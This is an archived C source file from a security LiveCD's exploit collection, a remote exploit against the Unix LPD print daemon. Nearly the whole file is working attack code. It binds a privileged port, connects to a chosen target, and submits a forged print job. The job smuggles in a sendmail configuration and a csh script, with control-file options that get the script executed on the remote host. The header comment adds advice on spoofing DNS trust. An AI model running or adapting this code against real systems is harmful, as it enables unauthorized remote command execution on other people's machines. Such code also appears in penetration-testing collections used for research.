home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / qib.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  208 lines

  1. /* qib.c - remote lpd exploit 
  2.    requires that the attacking host has remote LPD access, or even better, that
  3.    you are controlling your own DNS. If you are, then just claim that your 
  4.    host name resolves to the host name that "gethostname()" would return on 
  5.    the lpd machine. The local 'lpd' machine is always considered trusted to
  6.    print */
  7.  
  8.  
  9. #include<sys/types.h>
  10. #include<sys/socket.h>
  11. #include<sys/stat.h>
  12. #include<unistd.h>
  13. #include<string.h>
  14. #include<fcntl.h>
  15. #include<netinet/in.h>
  16. #include<arpa/inet.h>
  17. #include<netdb.h>
  18.  
  19. int main(int argc, char **argv)
  20. {
  21.   char sendbuf[16384];
  22.   char recvbuf[16384];
  23.   char cffilestr[]="Heat.my.shorts.com\nProot\nJaint.got.no.job\nCaint.got.no.class\nLwho.am.i\ndfunclefscker\nUdfunclefscker\nM-C/var/spool/lpd/%s/dfunclefscker\nN\n";
  24.   char cffile[2048];
  25.   char *dffile;
  26.   int df,i,dfpos;
  27.   char *dffile2;
  28.   int dfpos2;
  29.   int s;
  30.   unsigned long addr,locaddr;
  31.   struct sockaddr_in saddr, slocaddr;
  32.   char *localip,*targethost,*printer,*sendmailcfg,*cshscript;
  33.   struct stat stats;
  34.   char zero[]="";
  35.  
  36.   /* Give usage */
  37.   if(argc!=6) {
  38.     printf("\nUsage: %s <local ip to use> <host to attack> <printer name> <sendmail cfgfile> <csh script to run>\n\n The local address you choose must reverse-resolve,\n and it must be on an interface on your local machine.\n Oh, and you have to be root to do this.\n\n",argv[0]);
  39.     return 0;
  40.   }
  41.   
  42.   /* Give readable names to arguments */
  43.   localip=argv[1];
  44.   targethost=argv[2];
  45.   printer=argv[3];
  46.   sendmailcfg=argv[4];
  47.   cshscript=argv[5];
  48.  
  49.   /* Get the local machine name */
  50.   if((locaddr=inet_addr(localip))==INADDR_NONE) {
  51.     struct hostent *he;
  52.     he=gethostbyname(argv[1]);
  53.     if(he==NULL) {
  54.       printf("couldn't resolve local hostname.\n");
  55.       return 0;
  56.     }
  57.     locaddr=*(unsigned long *)(he->h_addr_list[0]);
  58.   }
  59.  
  60.   /* Get the target machine address */
  61.   if((addr=inet_addr(targethost))==INADDR_NONE) {
  62.     struct hostent *he;
  63.     he=gethostbyname(targethost);
  64.     if(he==NULL) {
  65.       printf("couldn't resolve hostname.\n");
  66.       return 0;
  67.     }
  68.     addr=*(unsigned long *)(he->h_addr_list[0]);
  69.   }
  70.  
  71.   /* Put the printer name in the cf file string */
  72.   snprintf(cffile,2048,cffilestr,printer);
  73.  
  74.   /* Get the size of the sendmail config file to send over */
  75.   if(stat(sendmailcfg,&stats)==-1) {
  76.     printf("Couldn't stat %s\n",sendmailcfg);
  77.     return 0;
  78.   }
  79.  
  80.   /* Allocate memory for the cfg file */
  81.   dffile=(char *)malloc(stats.st_size+256);
  82.   if(dffile==NULL) {
  83.     printf("Couldn't allocate memory.\n");
  84.     return 0;
  85.   }
  86.  
  87.   /* Load the config file, replacing %s with printer name */
  88.   dfpos=0;
  89.   df=open(sendmailcfg,O_RDONLY);
  90.   if(df==-1) return 0;
  91.   for(i=0;i<stats.st_size;i++) {
  92.     char c;
  93.     read(df,&c,1);
  94.  
  95.     if(c=='%') {
  96.       read(df,&c,1);
  97.       i++;
  98.       if(c=='s') {
  99.     memcpy(dffile+dfpos,printer,strlen(printer));
  100.     dfpos+=strlen(printer);
  101.       }
  102.       else {
  103.     dffile[dfpos]='%';
  104.     dfpos++;
  105.     dffile[dfpos]=c;
  106.     dfpos++;
  107.       }
  108.     } else {
  109.       dffile[dfpos]=c;
  110.       dfpos++;
  111.     }
  112.   }
  113.   close(df);
  114.  
  115.   /* Get the size of the script file to send over */
  116.   if(stat(cshscript,&stats)==-1) {
  117.     printf("Couldn't stat %s\n",cshscript);
  118.     return 0;
  119.   }
  120.  
  121.   /* Allocate memory for the csh script file */
  122.   dffile2=(char *)malloc(stats.st_size+256);
  123.   if(dffile2==NULL) {
  124.     printf("Couldn't allocate memory.\n");
  125.     return 0;
  126.   }
  127.  
  128.   /* Load the config file */
  129.   dfpos2=0;
  130.   df=open(cshscript,O_RDONLY);
  131.   if(df==-1) return 0;
  132.   for(i=0;i<stats.st_size;i++) {
  133.     char c;
  134.     read(df,&c,1);
  135.     dffile2[dfpos2]=c;
  136.     dfpos2++;
  137.   }
  138.   close(df);
  139.  
  140.   
  141.   /* Create a TCP socket */
  142.   s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  143.  
  144.   /* Aim it at the target machine, coming from our local address, port 516 */
  145.   memset(&slocaddr,0,sizeof(struct sockaddr_in));
  146.   slocaddr.sin_addr.s_addr=locaddr;
  147.   slocaddr.sin_port=htons(516);
  148.   slocaddr.sin_family=AF_INET;
  149.  
  150.   if(bind(s,(struct sockaddr *) &slocaddr,sizeof(struct sockaddr_in))==-1) {
  151.     printf("couldn't bind local socket.\n");
  152.     close(s);
  153.     return 0;
  154.   }
  155.  
  156.   memset(&saddr,0,sizeof(struct sockaddr_in));
  157.   saddr.sin_addr.s_addr=addr;
  158.   saddr.sin_port=htons(515);
  159.   saddr.sin_family=AF_INET;
  160.  
  161.   /* Connect to the remote LPD daemon */
  162.   if(connect(s,(struct sockaddr *) &saddr,sizeof(struct sockaddr_in))==-1) {
  163.     printf("couldn't connect to remote machine.\n");
  164.     close(s);
  165.     return 0;
  166.   }
  167.  
  168.   /* Send print request */
  169.   sprintf(sendbuf,"%c%s\n",2,printer);
  170.   send(s,sendbuf,strlen(sendbuf),0);
  171.   recv(s,recvbuf,1,0);
  172.  
  173.   /* Send DF file (sendmail config file) */
  174.   sprintf(sendbuf,"%c%d dfunclefscker@eat.my.shorts.com\n",3,dfpos);
  175.   send(s,sendbuf,strlen(sendbuf),0);
  176.   recv(s,recvbuf,1,0);
  177.   
  178.   send(s,dffile,dfpos,0);
  179.   send(s,zero,1,0);
  180.   recv(s,recvbuf,1,0);
  181.  
  182.   /* Send DF file (script to execute) */
  183.   sprintf(sendbuf,"%c%d dffunkyscript\n",3,dfpos2);
  184.   send(s,sendbuf,strlen(sendbuf),0);
  185.   recv(s,recvbuf,1,0);
  186.   
  187.   send(s,dffile2,dfpos2,0);
  188.   send(s,zero,1,0);
  189.   recv(s,recvbuf,1,0);
  190.  
  191.   /* Send CF file */
  192.   sprintf(sendbuf,"%c%d cfunclefscker\n",2,strlen(cffile));
  193.   send(s,sendbuf,strlen(sendbuf),0);
  194.   recv(s,recvbuf,1,0);
  195.   
  196.   send(s,cffile,strlen(cffile)+1,0);
  197.   recv(s,recvbuf,1,0);
  198.  
  199.   close(s);
  200.   return 0;
  201. }
  202.  
  203.  
  204.  
  205.  
  206.  
  207.  
  208.